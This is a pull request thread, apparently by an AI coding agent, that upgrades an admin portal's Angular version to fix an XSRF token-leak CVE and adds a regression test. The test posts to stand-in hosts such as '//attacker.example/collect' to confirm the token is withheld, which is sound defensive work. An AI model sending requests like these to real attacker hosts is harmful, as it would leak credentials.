[devin-ai-integration]

Summary

Fixes CVE-2025-66035 / SNYK-JS-ANGULARCOMMON-14135651 (high, CWE-201), code-scan finding sfind-3fea5f75. On master, @angular/common: ^4.0.0 resolves to 4.4.7. Its HttpXsrfInterceptor only skips URLs that start with http:// or https://, so a mutating request to a protocol-relative URL like //attacker.example/... gets the XSRF token attached.

Major bump: 4.x → 19.2.16. 19.2.16 is the smallest fixed version (the other fixed lines are 20.3.14 and 21.0.1). Nothing from 4.x through 18.x got the fix.

Duplicate of #263: same CVE, from an earlier finding (sfind-0ee00775), and #263 is still an open draft. This branch is #263's commit cherry-picked onto master plus one new spec. Only one of the two should land. The other Angular-upgrade PRs (#4, #64/#52, #111/#115) overlap too, as #263 describes.

Changes (all under AdminPortal/)

1. Angular 19.2.16 tree (cherry-picked from bug: upgrade AdminPortal to Angular 19.2.16 (CVE-2025-66035, @angular/common XSRF token leak) [major bump] #263, which is based on feature: upgrade AdminPortal from Angular 4 to Angular 18 #64's Angular 18 port):
   • @angular/http → HttpClient (provideHttpClient(withInterceptorsFromDi()))
   • .angular-cli.json → angular.json
   • RxJS 7, TypeScript 5.8.3, zone.js 0.15
   • TSLint/Protractor → ESLint
   • Karma 6 TestBed specs
   • standalone: false on NgModule components
   • No lockfile: master has none, and the registry is blocked here.
2. New src/app/xsrf.spec.ts, a regression test for the CVE. With XSRF enabled (the provideHttpClient default) and a fixed HttpXsrfTokenExtractor:

   http.post('/api/user/all', {})                    // X-XSRF-TOKEN === 'xsrf-token' (positive control)
   http.post('//attacker.example/collect', {})       // must NOT carry X-XSRF-TOKEN
   http.post('http://attacker.example/collect', {})  // must NOT carry X-XSRF-TOKEN

The app only calls absolute http://localhost:8080/... URLs, so the upgrade alone closes the finding and no code workaround is needed. The Java backend (UserFront/) and the Java version are unchanged.

Verification (offline: the session can only reach git-manager.devin.ai; access to registry.npmjs.org / api.snyk.io was requested but not granted)

Angular 19.2.16 couldn't be installed here, so I ran the tree against the closest Angular installs already on the machine:

Check	Result
Before: @angular/common@4.4.7 HttpXsrfInterceptor driven directly (master's node_modules)	POST //attacker.example/collect → X-XSRF-TOKEN=SECRET-XSRF-TOKEN (token leaks); https://… → null
This tree on Angular 18.2.14 (still vulnerable), using this PR's own angular.json + karma.conf.js (ng test --browsers=ChromeHeadlessNoSandbox)	25/26 pass. Only failure: should not send the XSRF token to protocol-relative URLs (Expected true to be false), so the spec catches the bug
This tree on Angular 18.2.14, ng build	passes
This tree on Angular 21.2.4 (fixed line), @angular/build application + vitest unit-test builder	ng build dev + prod pass; 26/26 tests pass, including all 3 XSRF specs

Snyk before/after: before = 1 issue for this ID (@angular/common@4.4.7, from the finding). After = not measured, because api.snyk.io is blocked. I expect 0 for this ID since 19.2.16 is listed as fixed.

Not done: npm install / lockfile, ng lint, and a build/test on exactly 19.2.16. To finish: cd AdminPortal && npm install && npx ng build && npm run test:ci && npx ng lint && snyk test, then commit the generated package-lock.json.

Devin-Org: engineering

Link to Devin session: https://devin-gtm.devinenterprise.com/sessions/7a00405f955848b382aefe6a0cdef659
Open in Devin Desktop: https://devin-gtm.devinenterprise.com/desktop/session/7a00405f955848b382aefe6a0cdef659?variant=devin

---

Devin Review

Status	Commit
⚪ Not started	—

Run Devin Review

---

[devin-ai-integration]

I'll fix CI failures and address comments from users with write access. I'll skip comments containing "(aside)".

• Disable automatic comment, CI, and merge conflict monitoring

[devin-ai-integration]

Devin Review found 1 potential issue.

2 flags not posted on this PR by your GitHub settings — view them in Devin Review. (Configure)

[devin-ai-integration]

🟨 Administrator credentials use plaintext transport

When an administrator submits the login form, sendCredential posts the password to an HTTP endpoint. Anyone able to observe that connection can read the credentials.

---

Was this helpful? React with 👍 or 👎 to provide feedback.

[devin-ai-integration]

Re: Devin Review "Administrator credentials use plaintext transport" (AdminPortal/src/app/login.service.ts). This is already on master: the old @angular/http version posted the same credentials to http://localhost:8080/index. This PR only changes the HTTP client API and keeps the endpoint URL as it was. Moving to HTTPS needs a TLS setup on the Spring Boot backend (UserFront/) and config for each environment. That is outside the scope of this dependency fix (CVE-2025-66035), so I'm leaving it as-is here. It's a good candidate for its own ticket.

Written by Devin